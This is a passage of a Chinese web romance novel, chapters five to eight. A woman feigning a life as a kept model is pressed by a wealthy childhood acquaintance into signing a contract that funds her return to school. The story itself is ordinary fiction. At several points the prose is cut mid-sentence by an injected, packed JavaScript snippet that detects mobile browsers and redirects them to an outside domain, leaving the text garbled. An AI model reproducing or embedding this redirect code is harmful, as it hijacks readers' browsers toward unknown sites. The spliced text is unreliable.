林清茉发现这番谎言的刺痛在于,施友臻默认并接受了她伪装的现状,好像女孩在困境中陷入沉沦是很世俗正确的,也是很不值得惊讶奇怪的事情,哪怕她是林清茉,或者她林清茉走上灰色地带也是在施家大哥的预料之中。 林清茉:“行,先这样,我看看时间再说。” 她把施友臻的号码放出来,几秒后施友臻发来了时间地点。 施友臻约的时间是明天晚上7点钟,地点是一家消费标准很高的西餐厅。林清茉对着日历牌翻看,发现明天晚上还真是不行,董事长前几天特意把清茉喊过去,说他有个侄子跟清茉同岁,刚回国,想让清茉去见一见,算是相亲,董事长还把他侄子的照片简历发给了清茉,挺当回正经事的。 清茉反正也是单身,倒也不排斥,何况是董事长安排的。 清茉回复信息:“不好意思,明天晚上是真的有约了,后天晚上可以。” 施友臻秒回:“我后天出差。” 清茉:“那就再约吧。” 施友臻拨过来电话:“把明天的推掉,跟我见面。” 清茉觉得好笑,问他:“哥,我们这行信誉很重要的,哪能说推就推。” 施友臻:“我会补偿。” 清茉也没觉得那么好笑了,问着:“那这样吧,换个地点,我上一局大概九点结束,结束了直接跟您见面?我把地址发给您。” 施友臻很意外林清茉这种安排,估计消化了几秒,但是还是平静地说着:“好。” 清茉就把明天相亲的餐厅地址发给了施友臻,董事长侄子也是富庶之家,订的地方比施友臻的订那家餐厅差个档次,但是也算是不错的了,很清幽的一家日料店,离公司不远。 第二天快下班,董事长还特意过来瞧了眼清茉,喊过去嘱咐道:“本来我想请你俩吃饭,怕你们年轻人不自在,好好聊一聊,不要有负担。” 林清茉应着,想了想晚上的安排,行政套裙也不合适,年末正好也该添置件新衣,就去隔壁商厦入了套修身黑色连衣裙,可惜没戴什么珠宝,稍微有点单调,照镜子的时候觉得过于正经,就配了清透的黑丝,长发放下来打理得蓬松随意一些,补了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071957|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓烈一点的眼妆和唇彩,仍旧是很明艳的风格。 董事长的侄子提前到了预定的位置,林清茉过去打招呼,虽说是同岁,看着对方一身休闲装扮,显得好像比自己小很多,自己就很大姐大风格,这一身绝对御姐。简单介绍一番,男孩自我介绍叫刘阳,自己运营着一家户外装备店,很活泼热络地跟清茉聊天,说董事长跟他夸了清茉很多,让他务必来见一见。 聊到后半截,刘阳说着:“幸好我来了,你真是我喜欢的类型。” 清茉礼貌笑了笑,没接话茬,但是瞧了眼腕表,觉得这顿饭也吃差不多了,找了个话头结束,刘阳还意犹未尽,问着:“要去别的地儿再坐坐吗?” 林清茉客气道:“太晚了,今天吃得很好,谢谢款待。” 俩人走到门口,刘阳犹豫了下,从包里拿出一个礼品袋,说着:“幸好我准备了礼物,嗯……应该很配你今天的裙子,要不要戴上试一试?” 他直接把项链拿出来,清茉瞥了眼,品牌的镶钻款,要是正品的话,公价三万往上,是收了很麻烦的礼物,赶紧拒绝道:“不用不用……” 在玄关处推让间,服务生领着客人进门,面对面迎上了进店的施友臻,清茉愣神的功夫,刘阳已经站在清茉身后帮她戴上了项链,很亲昵的动作,施友臻目光毫不掩饰地扫了过来,从项链到林清茉的脸,再到贴在清茉身后的刘阳。 清茉别过目光,侧身给施友臻让路,送刘阳出门,刘阳执意要送清茉回家,清茉说着:“我还有点工作要回公司完成,不好意思。” 这算是很难办的社交,中间隔着董事长,对方的贵重礼物当面不留面儿地还回去也不合适,只能之后再回差不多的礼,但是一来一回就成了交情,她并没有跟对方发展关系的念头,清茉犯难地寻思着该怎么处置。 先把刘阳送走,刘阳开着他的跑车,几分不舍说着:“那我再约你,回头给你电话。” 清茉客气道:“嗯,拜拜。” 送走刘阳,又返回来应对施友臻,林清茉真是觉得心累,特别想跑路。小时候被施友臻打了那次手掌心,算是留下了隐痛的教训记忆,她不敢当着面就跑,硬着头皮去应付,也几分好奇施家大哥管东管西管的德性,会跟聊什么话题。 施友臻在平时不对外开放的包间中,经理领清茉过去,林清茉瞧着施友臻已经点了菜,问着:“哥,您没吃饭呢?” 施友臻再次看向林清茉的项链,钻石项链衬在剪裁修身的黑色裙装上熠熠生辉,清茉抚了下项链,问着:“挑得挺有眼光,经典款很百搭。” 施友臻看着清茉,目光中满是审视,说道:“以前我送的,比这个价值高十倍不止。” 清茉一愣,抬眼看向施友臻,心里想着,你看,就知道会这样才不愿意见面,不愿意通话,清茉笑道:“那您得重新送了,之前的都变卖了。”说着又补了句:“毕竟变卖这些客人给的礼物,也是重要的收入来源。” 安分太久,恶劣的小脾气只是隐藏,并没有消失,毕竟已经没有让她任性的情境了。但是就是特别想在施家哥哥面前耍赖,毕竟这么多年,打她手心管教的人,没再出现过。 5. 第五章 因为离公司近,林清茉负责的一些商务宴请会放在这家清静的日料店,不过眼下跟施友臻所在的这个包间,确实是从未对外开放预定过的,清茉来过那么多次,甚至都不知晓有这个房间。 施友臻是习惯这种处处特殊优待的人,从小就是。 清茉看他端坐主位的审视样子,严肃中透着几分压迫感,久居上位的人,坐在那里就能沉甸甸压着人心,清茉心中一横,接着说道:“像这个项链,挂二手能卖个一万出头,哥,你虽然肯定是瞧不上,我可是能赚一分是一分。” 清茉去拿施友臻面前的清酒,想给自己也倒一杯,施友臻摁住她的手,指尖皮肤的碰触点到为止,施友臻绅士模样地给清茉斟酒,客观又冷漠地评价着:“陪一顿饭一万,收益不错。” 林清茉总觉得施友臻像是带着清高傲慢的面具,故意笑着添油加醋瞎编:“那怎么能只吃个饭呢?长线的买卖哪有那么单纯,谁平白无故地撒钱扶贫,哥,你是顶级买卖人,世上哪有无缘无故的爱。” 施友臻微微蹙眉,林清茉瞧着施友臻变了些脸色,也算是达到撕开施家大哥冰山面具的小小目的,见好就收,转移话题问着:“哥你着急约我到底什么事儿?这么晚了别耽误您夜生活。” 服务生敲门进来布菜,清淡的顶级刺身精简地呈现在饭桌上,施友臻沉默着吃了几片,很快放下筷子,对于饮食兴趣缺缺的样子,倒是问清茉:“合胃口吗?有喜欢的自己点。” 林清茉维持拜金人设,乐道:“刚才吃饱了,不饿,哥你非要让我点的话,我就打包带走了,酒水可以吗?” 施友臻:“可以。”说完一顿,抬眼看着清茉,问她:“打包了去转卖?” 清茉一怔,觉得施家大哥还挺与时俱进,这么快就跟上思路了,忍不住笑道:“也行。”调笑道,“不过是哥给买的,我可不舍得,自己留着喝。” 施友臻目光沉沉审视清茉,继续问着:“现在有固定的正式工作吗?” 扯一个慌,就得用无数谎去弥补,清茉清清嗓子继续编:“是能交社保,朝九晚五的那种吗?太束缚人了,我不喜欢。再说我这种大学学历都没拿到的人,正式的好工作也难找,现在985的硕士博士都一摸一大堆,太卷了,关键是正经工作挣得也少,你知道的,我从小就那么长大的,由奢入简难,也自由惯了。” 好像这些话,确实契合了施家大哥的思维逻辑和根深蒂固的偏见,施友臻一脸理所当然,淡定问道:“大学没读完?” 清茉笑道:“其实是没考上,哪儿还有心思学习。” 施友臻又问:“这些年没念书都在做什么?” 清茉继续编:“前几年干过服装批发,后来不是疏解人口,服装城搬迁了嘛,档口不好干就没再搞,做生意时候认识的客户有做模特经济的,就慢慢接模特工作,说实话现在野模市场也很卷,来钱快的行业门道可太多了,勾心斗角竞争激烈着呢。” 清茉讲着,恶作剧似的伸手去摸了下施友臻的手背,调笑道:“所以哥,你要是有心,做我长期客户怎么样,考虑一下嘛,您这种量级的金主可遇不可求。” 施友臻再次微微蹙眉。 小时候施家大哥被她跟弟弟气到隐而不发的时候,就是这种表情,清茉觉得实在有趣又好笑,当然,也是相当危险,她赶紧说着:“开玩笑了,兔子不吃窝边草,再说哥你肯定瞧不上我这种人,所以哥你约我到底什么事儿?劝我找个正经工作?” 施友臻没有否认。 清茉:“哥,那你可就没有边界感了,咱们现在跟陌生人也没差,要是说教我,就算了,各人有各人的活法,我觉得现在挺好。” 施友臻开口问道:“一个月能挣多少?” 清茉被他问得一怔,心中有不安的感觉,她到底也不算了解行情,心里没底儿地试探说了句:“十……万?” 施友臻瞧着清茉,露出几分很让人不舒服的浅笑,说着:“我给你,再借用一套房子给你,但是你要重新念书,去考试拿个学位,出去留学也可以。到底相识一场,我可以资助。” 清茉愣住,这个走向有些意外。 施友臻接着说道:“我会拟个正式资助合同,拟好了约你签字。” 清茉:“等一下,哥,能资助干别的吗?我不是念书的料。” 施友臻不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071958|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为所动,坚持道:“你从小成绩一直很好,比少衡好很多,英文也不错,有喜欢的专业,我可以给你找国外的学校。” 清茉:“不要,我不接受。” 施友臻:“房子给你一套国图旁边小区的,方便去自习查资料,给你半年时间准备。” 清茉打断他,盯着施友臻眼睛,问着:“哥你是想跟我上床吗?” 这话直白得让施友臻一怔。 清茉:“干涉别人人生很不礼貌,想上床就直说,反正在哥你那里没有钱解决不了的问题。我是成年人了,不是在你家玩过家家的小孩,就算哥你看不惯,瞧不起,也没必要来替我决定,我就这么风花雪月地快活自由,没什么不好,很爽的。” 施友臻很不赞同,拿出他很强烈的是非道德观念来镇压道:“你这样不是长久的办法,先不要着急拒绝,回去好好考虑一下,普通工薪阶层一个月挣十万也不容易,人生的筹码都是明码标价的,吃青春饭不能吃一辈子。” 清茉:“哥你好烦,我走了。” 她站起来要走,施友臻也站了起来,他被清茉挑战了权威,并且发自内心地不赞同清茉选择的生活方式,施友臻实在是过于高大,清茉几分心虚地顿住脚步。 施友臻很郑重地再次强调:“碰不到我不管,碰到了我就一定要管。” 他居高临下看着清茉,林清茉气道:“你猫抓耗子多管闲事!” 施友臻:“管定了。” 这么多年习惯隐忍和伪装的清茉,这会儿突然被激得委屈又气愤,真正需要帮助的岁月中,她孑然一身踟蹰独行,喊天不应叫地不灵,沉沦确实是最容易的选择,但是她独自一人经风经雨地硬是抗了过来,这会儿突然冒出来,道貌岸然地抛出救风尘的姿态,恶心谁呢? 林清茉估计都没发现自己红了眼圈,说着:“哥,你瞧不上我就眼不见为净呗。” 僵持间,经理端着清茉点的酒进门,清茉借势接过,扯出笑容只想速战速决赶紧脱身,说着:“谢谢哥款待。” 她想撤离,已经转身了,施友臻突然攥住她手腕,碰触的时间仍旧短得像错觉,但是成功强制出了一个留步。 6. 第六章 施友臻很高,原本就挺拔的身高,因为良好的仪态习惯和身居高位的修养,甚至比实际更显得挺拔,林清茉跟他的眼睛对视,要抬头仰望。 被施友臻拉了一下,牵绊住脚步,清茉很快平复了心气儿,并无畏缩地也看向施友臻的眼睛,问他:“还有事儿吗哥?” 俩人站得距离很近,清茉看得清施友臻细致的微表情,对方似乎很是欲言又止。 清茉心中觉得此情此景有几分好笑,可能施家大哥这些年没有遇到被甩脸拒绝的尴尬场面,没有遇到过清茉这种不识时务的低微角色,好像一脸很是为难的神色。 清茉心里叹息,谎言堆积出了施家大哥迟到的好心善举,有些荒诞,但是人家可能确实也是真想做慈善,她心里百转千回,还是先软了语气,说着:“哥,我真不是学习的年纪了,再说,或许能碰到合适的,就结婚拿长期粮票了对吧,总之,谢谢哥。要是再早几年……” 清茉原本还想再编上两句,施友臻突然打断,说了句:“抱歉。” 清茉一怔,施友臻继续道:“确实,应该早几年。” 清茉心中酸涩,更是没什么好说的了,跟明白人讲话,好像没必要把什么都说得太直白,施友臻的目光执着,引人发慌,几乎像要洞穿清茉的伪装和谎言,直抵她心中的那些已经深埋岁月中的阴暗怨憎和不甘,清茉浅笑一下,岔开话题,揣着酒迈开步子往外走,说着: “说笑了哥,说到底不关您的事儿,今天真的好感动好感动,估计也就友臻哥哥这么惦记我,今天真不早了,我回去了哥。” 已经走到门口,施友臻再次轻轻拉了下清茉的手腕,问她:“叫我什么?” 清茉也想起些年少趣事,拉长声调喊着:“友臻哥哥呀,友臻哥哥拜拜。” 施友臻脸上又是那种欲言又止的复杂表情,掺杂着几分严肃和不愉,清茉仗着对店面地形结构熟悉,快步一眨眼就从侧门溜出去了,施友臻被迎面要送他的经理羁住片刻,清茉已经不见了踪影。 施友臻原是想送她回家,路上再跟清茉谈一下。 施友臻回想着面对面坐着交流的短短时间里清茉的言谈举止,总觉着像被拿捏了心情,而这种情况,多少年来未曾出现,施友臻此刻有将林清茉捉拿眼前的冲动,想继续耳提面命告诫她吃青春饭不长久,想着以色侍人走捷径结婚也不保险。 但是又被清茉轻飘飘一句“要是再早几年”整得心中复杂。 时间不可逆转,人生的经历也不可逆。 那个唯一会调皮喊着他“友臻哥哥”讨价还价的小女孩,好像在被忽视和遗忘的岁月中,没有幸运地继续在溺爱和富足中正直阳光地成长。 施友臻很是遗憾,就算落下的教育能够补课,高校的毕业证书可以重拿,但是女孩子在风尘中沉沦过的岁月,怎么也抹杀不了,而这竟然发生在林清茉身上,到底是有些残酷了。 施友臻在车外静站片刻,他下决定总是很果断,总结起来仍旧是:不能放任不管。 司机启动车子的时候,餐厅经理追了出来,手里拿着一个包,笑道:“施先生,晚上跟您一起用餐的女士,把包落下了,您看是这个吧。” 好像确实是清茉今晚带的手拿包,餐厅座椅是黑色,手拿包也是黑色,捧着酒着急忙慌要跑的清茉,没看到就粗心落下了。 施友臻接过包,心情莫名好了一些。 座驾穿梭过夜晚,回到住处的施友臻给林清茉发去信息,问她:“到家了吗?” 清茉的行为逻辑在施友臻的预测之内,在他面前仍旧带着几分骄纵亲昵和不知天高地厚的直白,比如施友臻觉得清茉应该不会回复他礼貌的绅士问询。 发过去之后,等了很久果然没有回复。 明明沉沦在残酷的社会规则之下,却偏偏有着一种不合时宜的执拗和天真,嘴上说着期待他成为能够上床的金主,逃离得又干脆得像心中有愧。 施友臻换好家居服,坐在起居室后才后知后觉地发现自己花费太长的时间去思考林清茉,被这种事占用宝贵的时间,这很反常。 眼前桌子上端放着林清茉遗落的手包。 少衡曾经在他面前抱怨,说他这些年愈发远离人间烟火,难以被世俗的快乐取悦。 施友臻只是觉得没有必要,任何以快感为诱惑让人上瘾的东西,比如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071959|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟酒、赌博,或者X爱,都是空虚的弱者才去沾染的,智者该远离。 而此时施友臻难得被眼前的手包占用了本该阅读的固定时间,并引发了他极大的趣味。施友臻终究还是大方方拿起了手包,毕竟检查一下才能确认到底是不是清茉的物品。 手包本身就不大,里面只是放了一个折叠的小卡包,卡包里放着三张卡,一张是公园年卡,一张是清茉的身份证,还有一张是健身房的会员卡。 施友臻端详着公园年卡,他也是第一次见这种卡片,覆膜下是一张蓝底一寸照片,照片中的林清茉穿着板板正正的白色衬衣,扎着高马尾,清纯得像站在他窗下大声吵嚷着喊少衡上学的时候。 她现在的职业,经常去公园吗?有点奇怪。 身份证上的照片也照得规规矩矩,照片中的女孩带着几分朝气的笑意,眼睛炯亮,眉眼明艳,好看的人,身份证也不会拍得丑。施友臻瞧了眼身份证上的地址,是北边一个普通小区,不再是他们之前作为邻居时的地址。 健身房的地址倒是离晚上吃饭的餐厅很近,搜了下,是个品牌连锁,条件算中上。 三张卡齐齐整整地被施友臻排在桌面上,相互间隔五公分,宛若在被施友臻慎重检视。 检查得出的结论是,确实是林清茉的手包,以及估计林清茉现在也没发现自己遗落了物品。 手机震动,施友臻以为是清茉,点开看到是弟弟少衡发来的信息,少衡发来了一个截图,写着:“哥,我晚上无聊翻照片,看到圣诞节那天拍的,放大发现这个女孩侧脸挺眼熟,你帮我看看像不像茉茉?” 施友臻对如此迟钝的行为很是无话可说,本着也不能欺骗撒谎的原则,压根就没回复。 将三张卡收回卡包,又安放到手包中,他也没着急跟清茉联系,准备瞧瞧清茉能多久发觉丢了东西主动联系。 向来安睡的施友臻夜里难得做了个梦,梦中他还在念高中,安静的周末午后他本在二楼卧室清静午睡,被楼下女孩咯咯咯清亮的笑声吵醒,实在是吵闹。 但是梦里梦外都有些模糊,记不清他是去关上了窗,还是站在窗边被风吹起的纱窗后注视。 7. 第七章 融恒集团总裁办公室,刚结束一个集团审批会议,代表融恒置业过来参会的施少衡赖在他哥办公室,一身定制修身剪裁的正装框住他平日里的散漫,完全是贵气精英、青年才俊的模样。 他松开为了参会系得一丝不苟的领带,溜达到他哥办公桌前,瞧着刚刚结束重头会议又紧接着投入新工作的施友臻,他敲了敲桌面,故意打扰问着: “哥,天天就是开会办公,太枯燥了吧,要不要我安排个年假,找个地儿休息一下?” 施友臻头都没抬,指了指门口,废话也懒得说,示意施少衡没事儿就赶紧滚,缺钱赶紧说。 少衡无所谓地继续赖到沙发上,大马金刀地坐那儿摊开胳膊,继续当他哥勤奋工作的背景板,自在独角戏似的嘟囔道:“哥,你昨儿怎么不回我信息?我琢磨一晚上,怎么放大看都觉得像茉茉。我果然是太想他了。” 施友臻闻言,签批文件的笔尖顿住。 施少衡继续调侃着:“也不知道这些年她过得怎么样,当时央求着老爸帮忙找一找,老爸说是他们家都出国了,在外面不好找。现在想,八成是敷衍小孩,哥,你说我现在要不要再去找找?都说瘦死的骆驼比马大,茉茉家过得应该也不会特别差吧。” 施友臻放下手中钢笔,碰触到桌面发出不轻不重的声音,少衡看向他哥,继续问着:“哥你看了吗?放大后觉得像不像?像素是低了点,但是我怎么觉得特别像?” 施友臻合上文件,难得没有直接赶人,但是问了施少衡一句:“找到了呢?你打算怎么办?” 少衡坐直身子,沉默片刻后说着:“也不打算怎么样吧……这能有什么打算?我就随口一说,你整这么严肃干嘛?” 施友臻也没指望狗嘴吐出什么象牙,低头继续在下一份文件上签字。 少衡自己坐在那儿发呆片刻,拎起外套起身,说着:“我回置业那边了哥。” 施友臻嗯了一声算是知会,眼皮都没抬但是嘱咐了一句:“新项目做好前期调研,不要冒进。” 少衡在门口说着:“知道了哥,到时候不是还有你把关嘛,出了报告我带项目组过来汇报,不着急,估计得下个月。” 施少衡:“嗯。” 出了门,少衡才想起来,他哥到底也没说照片里的人像不像茉茉。 一瞬间变得清静的办公室里,施友臻放下手中钢笔。 刚才跟少衡的对话虽然没什么营养,但是仍旧潜伏着很多不安的变数,所以还是那句话:找到了又怎么样呢? 林清茉第二天快下班才发现自己找不到身份证了。 她后天有个短差要陪同领导们过去,安排行程的时候检查身份证,这才发现放身份证的卡包不在平时惯用的包里。 忙碌一整天脑子嗡嗡的,全然忘记昨天赴宴还带了个手包,那个手包平时不怎么用,就是搭配衣服才会拿出来,卡包临时放在了随身手包里,但是她没想起来自己单独拿了个手包出去。 清茉找遍工位,还是没找到,出差期间乘车住宿都得用身份证,她还是行程的后勤负责人,问题可大可小,上头盯着她的副总可是天天找茬,出了衔接问题有她喝一壶。她寻思着也没乱放,怎么就找不到了,是不是放家里其他包里了。 下班赶回家把最近常用的包都检查了一遍,仍旧是找不到,正翻衣服口袋,总经理发来信息,说要改成明天上午十点就出发,要提前一天去参观考察个文旅项目。 清茉赶紧把一行人订好的车票改签,然后继续翻找自己身份证,应该不至于乱放,怎么就不见了? 她一直找到晚上十点多,打开衣柜盯着放包区发呆,突然瞧见昨天吃饭穿的连衣裙,这才想起来,好像是拿了个黑色的手拿包赴宴,那个包,是不是落在餐厅压根没拿回来。 赶紧给日料店打电话,确认了一圈,竟然是施友臻拿走了。 时间如果允许,林清茉肯定直接去补办身份证,而不是三更半夜拨通施友臻的电话。 这个时间打电话,甭管什么借口,怎么都有点意味不明的意思,这人设不刻意去立,都立得血肉丰满,简直就是欲拒还迎,居心不良。 施友臻接起电话,清茉问着:“哥,我包你是不是帮拿走了?” 施友臻那边很安静,电话中音色沉稳清晰地像在杜比厅听了绝顶音效,他说着:“刚发现吗?在我这里。” 清茉也是挺无语,问着:“怎么不跟我说呢?我着急用身份证,哥你在哪儿?我去拿一下。” 施友臻还在办公室,简短说着:“融恒集团总部大楼,过来吧。” 清茉:“……” 时间已经是将近十一点,打车赶到融恒集团大楼,在楼下又给施友臻打电话,说是到了,到处都得刷门禁,她上不去。施友臻不知道在忙什么,简短道:“稍等,有人下去接你。” 果然没几分钟,有个在将近凌晨十二点仍旧穿着一丝不苟套装的年轻男士来到大厅会客等候区,因为就林清茉一个人,他过来礼貌问着:“是林小姐吗?这边请。” 林清茉也是干了很久的集团办公室工作,此刻同情心爆棚,将近十二点啊!牛马陪着老总加班到这个点儿还一脸笑盈盈帮着接客!好残酷! 清茉同理心爆棚,乘电梯的时候跟对方友好聊天问着:“谢谢谢谢,辛苦麻烦您接一趟,这么晚还加班吗?真不容易。” 融恒集团倒不至于压榨员工,办公室都是轮班制,今天晚上刚好是新入职没多久的小夏助理值班,年轻人也热络,虽然好奇施总深夜会见的人是什么情况,但是很有分寸的只是客套道:“您客气,都是应该的,施总在办公室等您。” 林清茉晚上为出门方便,素颜套了一身运动装,高高扎起头发,精致习惯的人,运动装都是勾勒身材的品牌套装,更像是出来夜跑的,倒是比平时职业套装更亲切些。 她掂量着自己的薪资水平,好奇地问着小夏助理融恒集团秘书团队的值班制度,俩人聊笑着从电梯里走出来,抬眼就看到站在电梯间的施友臻。 林清茉脸上客气的笑容一僵,总觉 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林清茉刹车收住,笑道:“知道开玩笑就不要那么严肃嘛,给我身份证呗,我拿了就走。” 施友臻转身,说着:“先来办公室。” 林清茉跟在施友臻身后进了办公室。 林清茉供职的集团也算是老牌大企业,但是跟施友臻这种根基深厚又涉猎新兴行业大赚特赚的集团,到底是差了几个量级,清茉那边的董事长办公室,装潢连融恒的秘书室都不如。 施友臻的办公空间非常敞亮空旷,厚重的木质桌椅简洁有序地布置其中,设计新锐不显老气,倒是沙发是看上去就很舒服的皮质。清茉走进去哇哇哇夸张地感慨一番,摸着施友臻厚重的实木办公桌问道: “哥,我能打听一下刚才接我的那位年轻小哥,年薪能拿到多少吗?” 施友臻眼神不善地看向清茉,显然是误会了,关上门倒也不含蓄了,问清茉:“要打歪主意吗?” 清茉无语,她只是想打听一下凌晨值班的办公室牛马是不是比她赚得翻番。 施友臻可能是觉得自己说了不体面的重话,换了话题说着:“餐厅有夜宵,提前给送了糖水,尝一尝。” 就像小时候打了她掌心,又送昂贵的礼物弥补。 清茉在家翻箱倒柜一晚上,又大老远奔过来,正好也是口干舌燥,消停地坐下。专供施友臻的糖水,好像也格外精致,精巧的瓷碗盛着好几样,广式姜撞奶,杨枝甘露,马蹄爽,甚至有桃胶雪燕。 好像是小女孩更喜欢的口味。 清茉狐疑地边吃边抬眼看施友臻,施友臻正在敲打键盘,清茉就没再打扰,安静吃了桃胶跟姜撞奶,喝了一杯温水,吃好了才又问着:“哥,我身份证呢?谢谢款待,我该回去了。” 打印机运转的声音传来,施友臻起身去拿过打印出的一沓纸,翻看检查后钉好,推到林清茉眼前,说着:“资助合同,看完签字,正好身份证也在,我提前帮你复印了,签好字我就还给你。” 林清茉:“?” 8. 第八章 敢情刚才施友臻一直在键盘上敲敲打打,是亲自拟合同呢。 堂堂融恒集团总裁,深夜亲自拟一份资助合同,慈善之心日月可鉴,传出去是可以当成八卦小报头条,并引发集团法务公告辟谣的程度。 林清茉好奇心战胜立马跑路的决心,实在是太好奇施友臻能拟出些什么神仙条款,就掂起拿几页纸,一行一行仔细阅读。 合同是极其标准的制式样本,甲方乙方责任条款细致明确,林清茉干了这么久专业机要文秘,对于施友臻的措辞行文都表示佩服,标点符号绝对规范,条款解释一句废话没有,逻辑清晰,事项周全,堪称范文。 林清茉瞧着这严谨的行文哭笑不得,脱口而出调侃道:“您这还缺个法务审核意见。”说完才觉失语,显得有点过于了解流程,就找补道:“我接模特合同都找个小律所帮着瞧瞧,哥你写得太专业了,我看不懂,我拿回去找个律师瞧瞧再说行吗?” 施友臻坐到清茉对面的沙发,作为主场的主人,闲适地双腿交叠,手臂放松地搭在沙发扶手上,问道:“哪条不明白,我给你讲。” 清茉抬眼看墙上的时间,觉得在凌晨十二点二十分来谈论一份荒诞的协议条款实在离谱,便软了声音讨巧道:“哥,今天好晚了,改天再说好不好?明天我要用身份证,就先给我嘛。” 清茉潜意识中,还是过分信任施友臻,小时候自己撒娇哄骗过太多次施家哥哥,甚至有次开学前一天冲到施家哥哥书房求着他帮忙写作业,施友臻批评她一通之后,还是铁着脸帮忙写到晚上,写完还留清茉吃了好吃的宵夜。 打小就严谨的施友臻,觉得字迹不能不一致,就自己先写好答案,再让清茉誊一遍。 因为被善待过,清茉还是少了危机意识,把自己明天着急用身份证的底牌亮给了施友臻,她实在是错估了施友臻实施计划的决心。 清茉叽叽喳喳的各种逃避和央求在深夜空旷的办公室中产生很奇异的感觉,曾未出现过的侵入者,几分格格不入地试图用娇嗔改变他的主意。 施友臻起身,去拿了自己的印章。 集团电子化办公程度很高,电子签章不在话下,但是施友臻固执保留着一些仪式感的老派习惯,比如收集名贵考究的印章和印泥。 他在甲方那里签字盖印,说道:“条款不复杂,简单说就是我为你提供继续学业的资金支持,你停止现在的工作,专心学习,我会聘请专业团队帮你拟定计划,制定目标后每周每月都有考核,考核成绩好会有奖励。学习期间我会给你提供住所,如果补习课需要用车我也提供。” “考取学校之后,资助仍旧有效,直到你毕业,国内国外学校按照你喜好选择。相应的,存在违约条款。如果你还维持学习之外的无关业务,会要求你按比例赔偿。” 清茉很快抓住重点,问他:“强买强卖?” 施友臻:“身份证在我办公室保险柜里,密码只有我知道,签字就还给你。” 清茉:“哥,友臻哥,学习是要有脑子跟能力的,我就是学不出来还得赔你钱?” 见惯了谈判厮杀的施友臻诱导道:“不用,要的是你的态度,评判标准在我,你态度端正,学位不会有问题,我可以帮忙。其实条件只有一个,不能再有混乱的生活关系。” 清茉再次抬眼看了下时间,已经将近凌晨一点,想着明天早晨得六点多就出发,先要去公司拿出差使用的会议文件,再去接总经理赶往车站,关键是目前公司没有B角能替补她出差,自己不去还真算是捅娄子。 考核个毛线球啊,真正的绩效考核都要被何副总搞成降级了,跟年终奖直接挂钩的绩效考核评定下个周就启动,现在掉链子就是上赶着给人送话柄。 清茉瞧着对面稳稳当当不见疲态的男人,自我安慰想着人在屋檐下不得不低头,想着船到桥头自然直,干脆抄起钢笔就签了字,说着:“行吧哥,我相信您。签了,给我身份证。” 施友臻把印泥推到清茉面前,说着:“摁个指印。” 清茉脑子中飞速运转,她在公司里跟法务部的小姐妹是午饭搭子,凭着从饭搭子那里蹭来的法律常识,怎么想都不觉得眼下这个协议有什么法律效力,就干脆地摁了印。 施友臻很满意似的,再次强调问着:“都明白什么意思了?尤其是违约条款?” 林清茉点头:“就是不能乱搞呗。” 施友臻不再多做评价,起身去拿了清茉的手包,压根也没锁在保险箱。 清茉:“……” 施友臻另外单独递过来一张卡,说着:“密码是你生日,每个月基础生活费一万元,不要乱花,按照学习进度考核会打奖金进去。” 清茉听着觉得好玩,接过来说着:“您还记得我生日呢?不过,我还以为您要每个月给十万呢,之前不是问过我月收入。” 施友臻解释了句:“会有奖励金额,不设上限。” 清茉抽出卡包检查一番,作为协议的基础其实是钱财往来,一旦有了钱财往来,可能就真的负法律责任。 她不可能去动施友臻的钱,所以也就没把施家大哥的话往脑子里听,确认身份证后赶紧起身,说着:“哥,那我回去了。” 施友臻却突然身后拿过清茉的卡包,将清茉没接的那张卡也插进去,说着:“嗯,我开车送你。” 清茉:“不用吧,我住得不近,您也早点回去休息。” 施友臻:“没关系,太晚了,我送你。” 施友臻将一式两份的协议装进文件夹,帮清茉拿着,在电梯里又补充了句:“我私人律师会给出法律意见书,你也可以咨询一下,不过没有让你吃亏的条款,这点可以放心。” 清茉困得脑子都不转了,“嗯”了一声。 施友臻:“根据你的表现,可能会增加补充协议。” 清茉侧脸看他,说着:“改天再说好不好,我真的好困,哥,我听不进去。” 施友臻沉默下来。 专属停车位也是宽敞空旷的风格,清茉坐到副驾驶,系好安全带,施友臻调好导航驾驶车子出发。 清茉瞧着这豪车霸总的配置,打了个小小的哈欠说着:“哥,你开车的样子很迷人嘛,适合拍成短视频镜头,配上煽情的BGM跟小说情节,绝对引爆流量。” 施友臻没讲话,清茉不着痕迹地轻叹一下,说着:“不嫌麻烦吗?说实话真想资助,给一笔钱资助做点小买卖更省力气吧,读书要很多年,确定值得你费这么久精力?” 凌晨道路空旷,施友臻等候红灯的时候突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 